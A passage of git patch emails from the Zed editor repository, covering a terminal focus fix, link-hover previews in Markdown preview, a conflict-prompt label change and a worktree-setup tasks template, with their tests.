         self.active_searchable_item
             .as_ref()

From 3f57e8d17d8b1cb83e96df6a627ba8f3c8407ac7 Mon Sep 17 00:00:00 2001
From: Apoorva Verma <76636952+apoorva-01@users.noreply.github.com>
Date: Mon, 20 Jul 2026 11:12:44 +0530
Subject: [PATCH 556/772] terminal: Don't steal focus from an open modal on
 background terminal startup (#60960)

the startup terminal can take a sec to come up if your shell is slow.
when it's ready it grabs focus, and if you've opened the command palette
by then, that blurs the palette input and closes it. so it just
vanishes.

`add_center_terminal` focused the new terminal unconditionally. now it
skips the focus if a modal is open (`!has_active_modal`). one line at
the definition, covers all the call sites.

kept it terminal-specific like dinocosta framed it. could do a broader
workspace-level "don't steal from a modal" instead if you'd prefer.

two tests: modal stays focused after a background terminal spawns (fails
without the fix), and no-modal still focuses the terminal like before.

Fixes #60762.

Release Notes:

- Fixed a background terminal finishing startup closing the command
palette or an open picker
---
 crates/terminal_view/src/terminal_panel.rs | 130 ++++++++++++++++++++-
 1 file changed, 129 insertions(+), 1 deletion(-)

diff --git a/crates/terminal_view/src/terminal_panel.rs b/crates/terminal_view/src/terminal_panel.rs
index 602667c725a524..c40f8f8d9af71a 100644
--- a/crates/terminal_view/src/terminal_panel.rs
+++ b/crates/terminal_view/src/terminal_panel.rs
@@ -767,7 +767,17 @@ impl TerminalPanel {
                         cx,
                     )
                 });
-                workspace.add_item_to_active_pane(Box::new(terminal_view), None, true, window, cx);
+                // Don't steal focus from an open modal (e.g. the command palette):
+                // a background terminal can finish starting up after the user has
+                // moved on, and focusing it would dismiss whatever they opened.
+                let focus_item = !workspace.has_active_modal(window, cx);
+                workspace.add_item_to_active_pane(
+                    Box::new(terminal_view),
+                    None,
+                    focus_item,
+                    window,
+                    cx,
+                );
             })?;
             Ok(terminal.downgrade())
         })
@@ -1913,6 +1923,124 @@ mod tests {
         );
     }
 
+    struct FocusOnlyModal {
+        focus_handle: gpui::FocusHandle,
+    }
+    impl gpui::EventEmitter<gpui::DismissEvent> for FocusOnlyModal {}
+    impl gpui::Focusable for FocusOnlyModal {
+        fn focus_handle(&self, _: &gpui::App) -> gpui::FocusHandle {
+            self.focus_handle.clone()
+        }
+    }
+    impl Render for FocusOnlyModal {
+        fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
+            gpui::div().track_focus(&self.focus_handle)
+        }
+    }
+    impl workspace::ModalView for FocusOnlyModal {}
+
+    async fn open_center_display_terminal(
+        workspace: &Entity<Workspace>,
+        cx: &mut VisualTestContext,
+    ) {
+        workspace
+            .update_in(cx, |workspace, window, cx| {
+                TerminalPanel::add_center_terminal(workspace, window, cx, |_, cx| {
+                    let terminal = cx.new(|cx| {
+                        terminal::TerminalBuilder::new_display_only(
+                            terminal::terminal_settings::CursorShape::default(),
+                            terminal::terminal_settings::AlternateScroll::On,
+                            None,
+                            0,
+                            cx.background_executor(),
+                            util::paths::PathStyle::local(),
+                        )
+                        .subscribe(cx)
+                    });
+                    gpui::Task::ready(Ok(terminal))
+                })
+            })
+            .await
+            .unwrap();
+        cx.run_until_parked();
+    }
+
+    #[gpui::test]
+    async fn test_center_terminal_keeps_focus_on_active_modal(cx: &mut TestAppContext) {
+        cx.executor().allow_parking();
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace = window_handle
+            .update(cx, |multi_workspace, _, _| {
+                multi_workspace.workspace().clone()
+            })
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(window_handle.into(), cx);
+
+        let modal_focus_handle = workspace.update_in(cx, |workspace, window, cx| {
+            let focus_handle = cx.focus_handle();
+            workspace.toggle_modal(window, cx, {
+                let focus_handle = focus_handle.clone();
+                move |_, _| FocusOnlyModal { focus_handle }
+            });
+            focus_handle
+        });
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            assert!(workspace.has_active_modal(window, cx));
+            assert!(
+                modal_focus_handle.is_focused(window),
+                "the modal should hold focus before the terminal is created"
+            );
+        });
+
+        open_center_display_terminal(&workspace, cx).await;
+
+        workspace.update_in(cx, |_, window, _| {
+            assert!(
+                modal_focus_handle.is_focused(window),
+                "a background center terminal must not steal focus from an active modal"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_center_terminal_takes_focus_without_modal(cx: &mut TestAppContext) {
+        cx.executor().allow_parking();
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, [], cx).await;
+        let window_handle =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project, window, cx));
+        let workspace = window_handle
+            .update(cx, |multi_workspace, _, _| {
+                multi_workspace.workspace().clone()
+            })
+            .unwrap();
+        let cx = &mut VisualTestContext::from_window(window_handle.into(), cx);
+
+        open_center_display_terminal(&workspace, cx).await;
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            assert!(!workspace.has_active_modal(window, cx));
+            let terminal_view = workspace
+                .active_pane()
+                .read(cx)
+                .active_item()
+                .and_then(|item| item.downcast::<TerminalView>())
+                .expect("the new center terminal should be the active item");
+            assert!(
+                terminal_view.focus_handle(cx).contains_focused(window, cx),
+                "with no modal open, a new center terminal should take focus"
+            );
+        });
+    }
+
     #[gpui::test]
     async fn test_inline_assist_tooltip_shows_keybinding_of_active_terminal(
         cx: &mut TestAppContext,

From 3bd398582fa0974243d7d466fe6f505958a9ae35 Mon Sep 17 00:00:00 2001
From: Warya Wayne <126521894+WaryaWayne@users.noreply.github.com>
Date: Mon, 20 Jul 2026 01:47:22 -0400
Subject: [PATCH 557/772] markdown_preview: Show link destinations on hover
 (#60942)

# Objective

Markdown Preview does not reveal where a link will navigate before it is
opened or right clicked to copy the URL.

Show a small Firefox-style URL preview in the bottom-left corner when
hovering text links or linked images.

## Solution

- Added URL hover reporting to the Markdown renderer, including hit
detection for linked images that are outside the text layout.
- Used the existing `LinkPreview` component to display the hovered
destination in the bottom-left corner of the Markdown preview.
- Cleared the destination preview when the pointer leaves a link, the
preview, or the displayed Markdown changes.

## Testing

- Confirmed the project builds successfully and manually verified the
behavior on macOS.
- Hovered text links and linked images in a Markdown preview and
confirmed their destinations appear in the bottom-left corner.
- Moved the pointer away from links and outside the preview and
confirmed the destination preview disappears.
- Reviewers can test this by opening a Markdown file containing a text
link and a linked image, opening its preview, and hovering each link.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

See bottom left of this image for a sample of the link preview in
action.

<img width="2240" height="1258"
alt="warya_wayne_fix_markdown_render_link_preview_zed_pr"
src="https://github.com/user-attachments/assets/7659e2ae-161d-4a41-a5b4-ba5b76951e30"
/>


---

Release Notes:

- Improved Markdown previews by showing link destinations in the
bottom-left corner when hovering links.
---
 crates/markdown/src/markdown.rs               | 211 ++++++++++++++++--
 .../src/markdown_preview_view.rs              |  38 +++-
 2 files changed, 228 insertions(+), 21 deletions(-)

diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index a4651e5d7e5550..f9862ee9ae102e 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -22,6 +22,7 @@ use theme_settings::ThemeSettings;
 use util::maybe;
 
 use std::borrow::Cow;
+use std::cell::Cell;
 use std::collections::BTreeMap;
 use std::mem;
 use std::ops::Range;
@@ -37,7 +38,7 @@ use gpui::{
     ImageFormat, ImageSource, KeyContext, Length, MouseButton, MouseDownEvent, MouseEvent,
     MouseMoveEvent, MouseUpEvent, Point, ScrollHandle, Stateful, StrikethroughStyle,
     StyleRefinement, StyledImage, StyledText, Subscription, Task, TextAlign, TextLayout, TextRun,
-    TextStyle, TextStyleRefinement, WrappedLineLayout, actions, img, point, quad,
+    TextStyle, TextStyleRefinement, WrappedLineLayout, actions, canvas, img, point, quad,
 };
 use language::{CharClassifier, Language, LanguageRegistry, Rope};
 use parser::CodeBlockMetadata;
@@ -57,6 +58,7 @@ use crate::parser::CodeBlockKind;
 /// If the callback returns `None`, the default link style will be used.
 type LinkStyleCallback = Rc<dyn Fn(&str, &App) -> Option<TextStyleRefinement>>;
 pub type CodeSpanLinkCallback = Arc<dyn Fn(&str, &App) -> Option<SharedString> + 'static>;
+type UrlHoverCallback = Rc<dyn Fn(Option<SharedString>, &mut Window, &mut App)>;
 type SourceClickCallback = Box<dyn Fn(usize, usize, &mut Window, &mut App) -> bool>;
 type CheckboxToggleCallback = Rc<dyn Fn(Range<usize>, bool, &mut Window, &mut App)>;
 
@@ -1246,6 +1248,7 @@ pub struct MarkdownElement {
     style: MarkdownStyle,
     code_block_renderer: CodeBlockRenderer,
     on_url_click: Option<Rc<dyn Fn(SharedString, &mut Window, &mut App)>>,
+    on_url_hover: Option<UrlHoverCallback>,
     code_span_link: Option<CodeSpanLinkCallback>,
     on_source_click: Option<SourceClickCallback>,
     on_checkbox_toggle: Option<CheckboxToggleCallback>,
@@ -1265,6 +1268,7 @@ impl MarkdownElement {
                 border: false,
             },
             on_url_click: None,
+            on_url_hover: None,
             code_span_link: None,
             on_source_click: None,
             on_checkbox_toggle: None,
@@ -1308,6 +1312,14 @@ impl MarkdownElement {
         self
     }
 
+    pub fn on_url_hover(
+        mut self,
+        handler: impl Fn(Option<SharedString>, &mut Window, &mut App) + 'static,
+    ) -> Self {
+        self.on_url_hover = Some(Rc::new(handler));
+        self
+    }
+
     pub fn on_code_span_link(
         mut self,
         callback: impl Fn(&str, &App) -> Option<SharedString> + 'static,
@@ -1416,8 +1428,21 @@ impl MarkdownElement {
                 let click_url = url.clone();
                 let markdown = self.markdown.clone();
                 let url_click = self.on_url_click.clone();
+                let bounds = Rc::new(Cell::new(None));
+                builder.push_image_link(url.clone(), bounds.clone());
                 wrapper
+                    .relative()
                     .cursor_pointer()
+                    .child(
+                        canvas(
+                            move |image_bounds, _window, _cx| bounds.set(Some(image_bounds)),
+                            |_, _, _, _| {},
+                        )
+                        .size_full()
+                        .absolute()
+                        .top_0()
+                        .left_0(),
+                    )
                     .on_click(move |_, window, cx| {
                         if let Some(ref on_url_click) = url_click {
                             on_url_click(click_url.clone(), window, cx);
@@ -1791,15 +1816,18 @@ impl MarkdownElement {
 
         let is_hovering_clickable = hitbox.is_hovered(window)
             && !self.markdown.read(cx).selection.pending
-            && rendered_text
-                .source_index_for_position(window.mouse_position())
-                .ok()
-                .is_some_and(|source_index| {
-                    rendered_text.link_for_source_index(source_index).is_some()
-                        || rendered_text
-                            .footnote_ref_for_source_index(source_index)
-                            .is_some()
-                });
+            && (rendered_text
+                .image_link_for_position(window.mouse_position())
+                .is_some()
+                || rendered_text
+                    .source_index_for_position(window.mouse_position())
+                    .ok()
+                    .is_some_and(|source_index| {
+                        rendered_text.link_for_source_index(source_index).is_some()
+                            || rendered_text
+                                .footnote_ref_for_source_index(source_index)
+                                .is_some()
+                    }));
 
         if is_hovering_clickable {
             window.set_cursor_style(CursorStyle::PointingHand, hitbox);
@@ -1808,6 +1836,7 @@ impl MarkdownElement {
         }
 
         let on_open_url = self.on_url_click.take();
+        let on_url_hover = self.on_url_hover.take();
         let on_source_click = self.on_source_click.take();
 
         self.on_mouse_event(window, cx, {
@@ -1936,16 +1965,30 @@ impl MarkdownElement {
                     markdown.autoscroll_request = Some(source_index);
                     cx.notify();
                 } else {
-                    let is_hovering_clickable = hitbox.is_hovered(window)
-                        && rendered_text
-                            .source_index_for_position(event.position)
-                            .ok()
-                            .is_some_and(|source_index| {
-                                rendered_text.link_for_source_index(source_index).is_some()
-                                    || rendered_text
-                                        .footnote_ref_for_source_index(source_index)
-                                        .is_some()
-                            });
+                    let is_hitbox_hovered = hitbox.is_hovered(window);
+                    let source_index = is_hitbox_hovered
+                        .then(|| rendered_text.source_index_for_position(event.position).ok())
+                        .flatten();
+                    let hovered_url = is_hitbox_hovered
+                        .then(|| rendered_text.image_link_for_position(event.position))
+                        .flatten()
+                        .map(|image| image.destination_url.clone())
+                        .or_else(|| {
+                            source_index
+                                .and_then(|source_index| {
+                                    rendered_text.link_for_source_index(source_index)
+                                })
+                                .map(|link| link.destination_url.clone())
+                        });
+                    let is_hovering_clickable = hovered_url.is_some()
+                        || source_index.is_some_and(|source_index| {
+                            rendered_text
+                                .footnote_ref_for_source_index(source_index)
+                                .is_some()
+                        });
+                    if let Some(on_url_hover) = on_url_hover.as_ref() {
+                        on_url_hover(hovered_url, window, cx);
+                    }
                     if is_hovering_clickable != was_hovering_clickable {
                         cx.notify();
                     }
@@ -3124,6 +3167,7 @@ struct MarkdownElementBuilder {
     rendered_lines: Vec<RenderedLine>,
     pending_line: PendingLine,
     rendered_links: Vec<RenderedLink>,
+    rendered_image_links: Vec<RenderedImageLink>,
     rendered_footnote_refs: Vec<RenderedFootnoteRef>,
     current_source_index: usize,
     html_comment: bool,
@@ -3183,6 +3227,7 @@ impl MarkdownElementBuilder {
             rendered_lines: Vec::new(),
             pending_line: PendingLine::default(),
             rendered_links: Vec::new(),
+            rendered_image_links: Vec::new(),
             rendered_footnote_refs: Vec::new(),
             current_source_index: 0,
             html_comment: false,
@@ -3373,6 +3418,17 @@ impl MarkdownElementBuilder {
         });
     }
 
+    fn push_image_link(
+        &mut self,
+        destination_url: SharedString,
+        bounds: Rc<Cell<Option<Bounds<Pixels>>>>,
+    ) {
+        self.rendered_image_links.push(RenderedImageLink {
+            bounds,
+            destination_url,
+        });
+    }
+
     fn push_footnote_ref(&mut self, label: SharedString, source_range: Range<usize>) {
         self.rendered_footnote_refs.push(RenderedFootnoteRef {
             source_range,
@@ -3538,6 +3594,7 @@ impl MarkdownElementBuilder {
             text: RenderedText {
                 lines: self.rendered_lines.into(),
                 links: self.rendered_links.into(),
+                image_links: self.rendered_image_links.into(),
                 footnote_refs: self.rendered_footnote_refs.into(),
             },
         }
@@ -3737,6 +3794,7 @@ pub struct RenderedMarkdown {
 struct RenderedText {
     lines: Rc<[RenderedLine]>,
     links: Rc<[RenderedLink]>,
+    image_links: Rc<[RenderedImageLink]>,
     footnote_refs: Rc<[RenderedFootnoteRef]>,
 }
 
@@ -3753,6 +3811,14 @@ struct RenderedLink {
     destination_url: SharedString,
 }
 
+#[derive(Clone)]
+struct RenderedImageLink {
+    // Populated once the image's `canvas` overlay is painted; images aren't part of the
+    // text layout, so their hit-test region can't be derived from a source range.
+    bounds: Rc<Cell<Option<Bounds<Pixels>>>>,
+    destination_url: SharedString,
+}
+
 #[derive(Debug, Clone, Eq, PartialEq)]
 struct RenderedFootnoteRef {
     source_range: Range<usize>,
@@ -4066,6 +4132,15 @@ impl RenderedText {
             .find(|link| link.source_range.contains(&source_index))
     }
 
+    fn image_link_for_position(&self, position: Point<Pixels>) -> Option<&RenderedImageLink> {
+        self.image_links.iter().find(|image| {
+            image
+                .bounds
+                .get()
+                .is_some_and(|bounds| bounds.contains(&position))
+        })
+    }
+
     fn footnote_ref_for_source_index(&self, source_index: usize) -> Option<&RenderedFootnoteRef> {
         self.footnote_refs
             .iter()
@@ -4078,6 +4153,7 @@ mod tests {
     use super::*;
     use gpui::{RenderImage, TestAppContext, UpdateGlobal, size};
     use language::{Language, LanguageConfig, LanguageMatcher};
+    use std::cell::RefCell;
     use std::sync::{
         Arc,
         atomic::{AtomicUsize, Ordering},
@@ -5289,6 +5365,101 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    fn test_url_hover_callback(cx: &mut TestAppContext) {
+        struct HoverTestView {
+            markdown: Entity<Markdown>,
+            hovered_urls: Rc<RefCell<Vec<Option<SharedString>>>>,
+        }
+
+        impl Render for HoverTestView {
+            fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
+                let hovered_urls = self.hovered_urls.clone();
+                div().size_full().child(
+                    MarkdownElement::new(self.markdown.clone(), MarkdownStyle::default())
+                        .on_url_hover(move |url, _, _| {
+                            hovered_urls.borrow_mut().push(url);
+                        }),
+                )
+            }
+        }
+
+        ensure_theme_initialized(cx);
+        let hovered_urls = Rc::new(RefCell::new(Vec::new()));
+        let (_, cx) = cx.add_window_view({
+            let hovered_urls = hovered_urls.clone();
+            move |_, cx| HoverTestView {
+                markdown: cx
+                    .new(|cx| Markdown::new("[link](https://example.com)".into(), None, None, cx)),
+                hovered_urls,
+            }
+        });
+        cx.run_until_parked();
+
+        cx.simulate_mouse_move(point(px(8.), px(8.)), None, gpui::Modifiers::default());
+        assert_eq!(
+            hovered_urls.borrow().last().cloned().flatten().as_deref(),
+            Some("https://example.com")
+        );
+
+        cx.simulate_mouse_move(point(px(500.), px(500.)), None, gpui::Modifiers::default());
+        assert_eq!(hovered_urls.borrow().last(), Some(&None));
+    }
+
+    #[gpui::test]
+    fn test_url_hover_callback_for_linked_image(cx: &mut TestAppContext) {
+        struct HoverTestView {
+            markdown: Entity<Markdown>,
+            hovered_urls: Rc<RefCell<Vec<Option<SharedString>>>>,
+        }
+
+        impl Render for HoverTestView {
+            fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
+                let hovered_urls = self.hovered_urls.clone();
+                div().size_full().child(
+                    MarkdownElement::new(self.markdown.clone(), MarkdownStyle::default())
+                        .image_resolver(|_| Some(loaded_image_source()))
+                        .on_url_hover(move |url, _, _| {
+                            hovered_urls.borrow_mut().push(url);
+                        }),
+                )
+            }
+        }
+
+        ensure_theme_initialized(cx);
+        let hovered_urls = Rc::new(RefCell::new(Vec::new()));
+        let (_, cx) = cx.add_window_view({
+            let hovered_urls = hovered_urls.clone();
+            move |_, cx| HoverTestView {
+                markdown: cx.new(|cx| {
+                    Markdown::new(
+                        "[![badge](https://example.com/badge.png)](https://example.com)".into(),
+                        None,
+                        None,
+                        cx,
+                    )
+                }),
+                hovered_urls,
+            }
+        });
+        cx.run_until_parked();
+
+        cx.simulate_mouse_move(point(px(4.), px(4.)), None, gpui::Modifiers::default());
+        assert_eq!(
+            hovered_urls.borrow().last().cloned().flatten().as_deref(),
+            Some("https://example.com")
+        );
+
+        cx.simulate_mouse_move(point(px(8.), px(8.)), None, gpui::Modifiers::default());
+        assert_eq!(
+            hovered_urls.borrow().last().cloned().flatten().as_deref(),
+            Some("https://example.com")
+        );
+
+        cx.simulate_mouse_move(point(px(500.), px(500.)), None, gpui::Modifiers::default());
+        assert_eq!(hovered_urls.borrow().last(), Some(&None));
+    }
+
     #[gpui::test]
     fn test_capture_for_context_menu(cx: &mut TestAppContext) {
         ensure_theme_initialized(cx);
diff --git a/crates/markdown_preview/src/markdown_preview_view.rs b/crates/markdown_preview/src/markdown_preview_view.rs
index b5bf94d628c0c8..b80fe288f7035e 100644
--- a/crates/markdown_preview/src/markdown_preview_view.rs
+++ b/crates/markdown_preview/src/markdown_preview_view.rs
@@ -25,7 +25,8 @@ use settings::{SeedQuerySetting, Settings, update_settings_file};
 use theme::{SystemAppearance, Theme, ThemeRegistry};
 use theme_settings::ThemeSettings;
 use ui::utils::WithRemSize;
-use ui::{ContextMenu, WithScrollbar, prelude::*, right_click_menu};
+use ui::{ContextMenu, LinkPreview, WithScrollbar, prelude::*, right_click_menu};
+use util::ResultExt;
 use util::markdown::split_local_url_fragment;
 use workspace::item::{Item, ItemBufferKind, ItemHandle, SaveOptions, SerializableItem};
 use workspace::notifications::NotifyResultExt;
@@ -55,6 +56,7 @@ pub struct MarkdownPreviewView {
     image_cache: Entity<RetainAllImageCache>,
     base_directory: Option<PathBuf>,
     pending_update_task: Option<Task<Result<()>>>,
+    hovered_url: Option<SharedString>,
     mode: MarkdownPreviewMode,
 }
 
@@ -302,6 +304,7 @@ impl MarkdownPreviewView {
                 image_cache: RetainAllImageCache::new(cx),
                 base_directory: None,
                 pending_update_task: None,
+                hovered_url: None,
                 mode,
             };
 
@@ -449,6 +452,7 @@ impl MarkdownPreviewView {
         );
 
         self.base_directory = Self::get_folder_for_active_editor(editor.read(cx), cx);
+        self.hovered_url = None;
         self.active_editor = Some(EditorState {
             editor,
             _subscription: subscription,
@@ -560,6 +564,7 @@ impl MarkdownPreviewView {
 
             view.update(cx, move |view, cx| {
                 if let Some((contents, selection_start)) = update {
+                    view.hovered_url = None;
                     view.markdown.update(cx, |markdown, cx| {
                         markdown.reset(contents, cx);
                     });
@@ -929,6 +934,19 @@ impl MarkdownPreviewView {
                         cx,
                     );
                 }
+            })
+            .on_url_hover({
+                let view_handle = cx.entity().downgrade();
+                move |hovered_url, _window, cx| {
+                    view_handle
+                        .update(cx, |view, cx| {
+                            if view.hovered_url != hovered_url {
+                                view.hovered_url = hovered_url;
+                                cx.notify();
+                            }
+                        })
+                        .log_err();
+                }
             });
 
         if let Some(active_editor) = active_editor {
@@ -1284,11 +1302,17 @@ impl Render for MarkdownPreviewView {
             .map(|theme| theme.colors().editor_background)
             .unwrap_or_else(|| cx.theme().colors().editor_background);
         let preview_font_size = ThemeSettings::get_global(cx).markdown_preview_font_size(cx);
+        let hovered_url = self.hovered_url.clone();
         div()
             .image_cache(self.image_cache.clone())
             .id("MarkdownPreview")
             .key_context("MarkdownPreview")
             .track_focus(&self.focus_handle(cx))
+            .on_hover(cx.listener(|view, hovered, _window, cx| {
+                if !hovered && view.hovered_url.take().is_some() {
+                    cx.notify();
+                }
+            }))
             .on_action(cx.listener(MarkdownPreviewView::scroll_page_up))
             .on_action(cx.listener(MarkdownPreviewView::scroll_page_down))
             .on_action(cx.listener(MarkdownPreviewView::scroll_up))
@@ -1304,6 +1328,7 @@ impl Render for MarkdownPreviewView {
             .w_full()
             .flex_1()
             .min_h_0()
+            .relative()
             .bg(bg_color)
             .child(
                 WithRemSize::new(preview_font_size).size_full().child(
@@ -1381,6 +1406,17 @@ impl Render for MarkdownPreviewView {
                 ),
             )
             .vertical_scrollbar_for(&self.scroll_handle, window, cx)
+            .when_some(hovered_url, |this, hovered_url| {
+                this.child(
+                    div()
+                        .absolute()
+                        .bottom_2()
+                        .left_0()
+                        .max_w_full()
+                        .overflow_hidden()
+                        .child(LinkPreview::new(hovered_url.as_ref(), cx)),
+                )
+            })
     }
 }
 

From f7d9ae33b5ce1debd2b5962aacc6f7641de2bb0e Mon Sep 17 00:00:00 2001
From: "Agani Daniel .S" <33962088+StrongTheDev@users.noreply.github.com>
Date: Mon, 20 Jul 2026 09:58:37 +0300
Subject: [PATCH 558/772] workspace: Rename "Discard" to "Discard Edits" in
 file conflict prompt (#55870)

When a file has unsaved edits and has also changed on disk, the conflict
prompt offered "Overwrite / Discard / Cancel". Both "Overwrite" and
"Discard" were directionally ambiguous, it wasn't clear whether the disk
contents or the buffer edits would be lost. "Discard Edits" makes it
explicit that the buffer edits are thrown away and the disk version is
reloaded.

Release Notes:

- Improved the file conflict prompt by renaming the "Discard" button to
"Discard Edits" to clarify that unsaved edits are discarded in favor of
the on-disk contents.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/workspace/src/pane.rs      | 2 +-
 crates/workspace/src/workspace.rs | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/crates/workspace/src/pane.rs b/crates/workspace/src/pane.rs
index 837afb6183d6b0..e8e70de79664e4 100644
--- a/crates/workspace/src/pane.rs
+++ b/crates/workspace/src/pane.rs
@@ -2344,7 +2344,7 @@ impl Pane {
                         PromptLevel::Warning,
                         CONFLICT_MESSAGE,
                         None,
-                        &["Overwrite", "Discard", "Cancel"],
+                        &["Overwrite", "Discard Edits", "Cancel"],
                         cx,
                     )
                 })?;
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index 9e89a46ac6ed31..cdfbcb78a34601 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -12410,7 +12410,7 @@ mod tests {
         assert!(cx.has_pending_prompt());
 
         // Cancel saving item 3.
-        cx.simulate_prompt_answer("Discard");
+        cx.simulate_prompt_answer("Discard Edits");
         cx.executor().run_until_parked();
 
         // Item 3 is reloaded. There's a prompt to save item 4.

From 2230c1a5bf5d4d8191917714b61641a5ffded163 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Mon, 20 Jul 2026 08:17:21 -0300
Subject: [PATCH 559/772] worktree_picker: Improve discoverability of tasks as
 a creation setup mechanism (#61148)

Sometimes when creating Git worktrees, it's necessary to set things up
so the new worktree is ready. For example, copying env.vars, installing
dependencies, etc. That was already possible in Zed through the tasks
system, but you'd only maybe know about that if you read the
documentation or is super familiar with it already; nothing in the
product in the context of worktrees told you about that. This is what
this PR does.

Now, in the worktree picker, there's a "" button that opens the
`tasks.json` file exposing the `create_worktree` hook, which allows you
to plugin all sorts of things to be run by the time of a worktree
creation. If you don't already have a `tasks.json` file, we will create
a new one for you with a worktree-creation template. Otherwise, we
either append the `create_worktree` hook content to it or just open the
file.

Here's a quick video:


https://github.com/user-attachments/assets/21908be4-306b-4cf3-bed0-50d52cad9d79

Release Notes:

- Git Worktrees: Improved discoverability of the `create_worktree` hook
for setting up things that need to happen by the time of worktree
creation.
---
 Cargo.lock                                    |   4 +-
 assets/keymaps/default-linux.json             |   1 +
 assets/keymaps/default-macos.json             |   1 +
 assets/keymaps/default-windows.json           |   1 +
 assets/settings/initial_tasks.json            |   3 +
 .../initial_worktree_setup_tasks.json         |  23 +++
 crates/debugger_ui/Cargo.toml                 |   2 -
 crates/debugger_ui/src/debugger_panel.rs      |  77 +--------
 crates/git_ui/src/worktree_picker.rs          | 157 ++++++++++++------
 crates/settings/src/settings.rs               |   4 +
 crates/tasks_ui/Cargo.toml                    |   2 +
 crates/tasks_ui/src/tasks_ui.rs               |  91 +++++++++-
 crates/zed/src/zed.rs                         | 107 ++++++++----
 crates/zed/src/zed/app_menus.rs               |   4 +-
 crates/zed_actions/src/lib.rs                 |   4 +
 15 files changed, 323 insertions(+), 158 deletions(-)
 create mode 100644 assets/settings/initial_worktree_setup_tasks.json

diff --git a/Cargo.lock b/Cargo.lock
index 787d8a8cde2e23..a4528af7cea57e 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -5034,9 +5034,7 @@ dependencies = [
  "text",
  "theme",
  "theme_settings",
- "tree-sitter",
  "tree-sitter-go",
- "tree-sitter-json",
  "ui",
  "ui_input",
  "unindent",
@@ -18443,6 +18441,8 @@ dependencies = [
  "serde",
  "serde_json",
  "task",
+ "tree-sitter",
+ "tree-sitter-json",
  "tree-sitter-rust",
  "tree-sitter-typescript",
  "ui",
diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index bb7679ab06b50d..834568fbe571c1 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -1571,6 +1571,7 @@
     "bindings": {
       "ctrl-shift-backspace": "worktree_picker::DeleteWorktree",
       "ctrl-alt-shift-backspace": "worktree_picker::ForceDeleteWorktree",
+      "ctrl-shift-c": "zed::OpenWorktreeSetupTasks",
     },
   },
   {
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index ad8d80e1629655..639ab247eeb951 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -1626,6 +1626,7 @@
     "bindings": {
       "cmd-shift-backspace": "worktree_picker::DeleteWorktree",
       "cmd-alt-shift-backspace": "worktree_picker::ForceDeleteWorktree",
+      "cmd-shift-c": "zed::OpenWorktreeSetupTasks",
     },
   },
   {
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index 3aed4904de41e0..7f3168380193f5 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -1550,6 +1550,7 @@
     "bindings": {
       "ctrl-shift-backspace": "worktree_picker::DeleteWorktree",
       "ctrl-alt-shift-backspace": "worktree_picker::ForceDeleteWorktree",
+      "ctrl-shift-,": "zed::OpenWorktreeSetupTasks",
     },
   },
   {
diff --git a/assets/settings/initial_tasks.json b/assets/settings/initial_tasks.json
index bb6c9c04ae14db..416383e0f7eaac 100644
--- a/assets/settings/initial_tasks.json
+++ b/assets/settings/initial_tasks.json
@@ -55,5 +55,8 @@
     "save": "none",
     // Represents the tags for inline runnable indicators, or spawning multiple tasks at once.
     // "tags": []
+    // Hooks that cause this task to run automatically on certain events:
+    // * `create_worktree` — run this task after creating a new git worktree (e.g. to install dependencies or copy untracked config files into it)
+    // "hooks": ["create_worktree"]
   },
 ]
diff --git a/assets/settings/initial_worktree_setup_tasks.json b/assets/settings/initial_worktree_setup_tasks.json
new file mode 100644
index 00000000000000..5a3c5a45078ce5
--- /dev/null
+++ b/assets/settings/initial_worktree_setup_tasks.json
@@ -0,0 +1,23 @@
+// Worktree setup tasks, stored in this project's tasks.json.
+// See https://zed.dev/docs/tasks#hooks for the full Tasks Hooks documentation.
+//
+// Tasks with the `create_worktree` hook run automatically right after Zed
+// creates a new git worktree. Use them to get a fresh worktree ready to work
+// in — for example, installing dependencies or copying files that git doesn't
+// track (like `.env`) from the original repository.
+//
+// Two variables are available to these tasks:
+// * $ZED_WORKTREE_ROOT     — the root directory of the newly created worktree
+// * $ZED_MAIN_GIT_WORKTREE — the original repository's working directory
+//
+// Uncomment the example below and adjust the command to get started.
+// Note: hooked tasks run as soon as a worktree is created, so only enable
+// commands you want to run automatically.
+[
+  // {
+  //   "label": "Set up new worktree",
+  //   "command": "cp -n \"$ZED_MAIN_GIT_WORKTREE/.env\" \"$ZED_WORKTREE_ROOT/\" && npm install",
